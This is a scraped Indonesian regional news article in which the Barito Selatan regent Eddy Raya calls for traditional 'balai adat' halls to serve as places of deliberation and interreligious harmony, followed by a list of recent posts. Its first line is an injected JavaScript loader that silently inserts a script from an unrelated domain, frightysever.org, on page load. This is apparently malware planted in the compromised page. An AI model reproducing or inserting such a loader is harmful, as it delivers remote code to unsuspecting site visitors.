(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Bupati Eddy Raya: Jadikan Balai Adat Wadah Kerukunan dan Bermusyawarah


KANALKALIMANTAN.COM, BUNTOK – Di Kabupaten Barito Selatan (Barsel) terdapat sejumlah balai adat yang merupakan tempat berkumpul serta melakukan musyawarah masyarakat dalam mengambil suatu keputusan. Kegunaan balai adat tersebut diminta bisa lebih dioptimalkan.

Bupati Barsel H Eddy Raya Samsuri ST mengatakan, memang balai adat dahulu dikenal lebih kepada penggunaan untuk melaksanakan ritual adat, mengingat mayoritas penduduk zaman dahulu adalah Kaharingan.

“Kini balai adat bukan lagi semata-mata ditujukan sebagai tempat pelaksanaan ritual, namun juga digunakan sebagai tempat berkumpul masyarakat, untuk melakukan sebuah pertemuan atau perundingan dalam mengambil sebuah keputusan,” kata Eddy Raya.

Orang nomor satu di Barsel itu juga mengatakan balai adat juga sering disebut sebagai tempat serbaguna. Dimana dapat digunakan untuk pentas kesenian serta kegiatan lainnya, tergantung dari kesepakatan antar masyarakat.

Lebih lanjut menurut Eddy Raya, balai adat bertujuan sebagai tempat melestarikan kebudayaan dari leluhur yang tanpa dibatasi terhadap agama tertentu.

Baca juga : Ini Surat Terbuka Denny Indrayana Jelang Putusan Pilgub Kalsel

Sehingga diharapkan masyarakat dapat secara benar dan paham dalam mendefinisikan fungsi dari keberadaan balai adat tersebut.

“Saya mengharapkan dengan adanya balai adat tersebut, dapat menghindarkan masyarakat dari perpecahan ataupun isu-isu yang dapat mengganggu kerukunan antar umat beragama,” tegas Eddy Raya.

Terlebih saat ini seringkali ditemui bentrokan-bentrokan ataupun isu yang dapat mengganggu kerukunan antar umat beragama di wilayah luar. Dia mengimbau kepada masyarakat tetap menjaga kerukunan antar umat beragama yang selama ini telah terjalin dengan baik.

“Umat beragama harus dapat saling menunjukkan sikap dan perilaku toleran, serta saling mendukung. Sehingga pembangunan yang makmur seperti impian kita selama ini dapat terwujud,” pungkas Eddy Raya. (kanalkalimantan.com/digdo)

 

Reporter : Digdo
Editor : Kk

 

 


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

10 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

11 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

11 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

11 jam ago

This website uses cookies.